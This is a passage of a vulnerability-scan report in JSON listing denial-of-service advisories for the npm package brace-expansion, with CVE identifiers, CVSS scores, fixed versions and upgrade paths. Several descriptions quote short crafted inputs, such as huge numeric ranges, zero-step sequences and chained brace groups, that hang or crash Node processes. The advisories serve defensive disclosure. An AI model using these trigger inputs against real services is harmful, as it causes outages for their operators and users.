Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/map-workspaces@5.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": 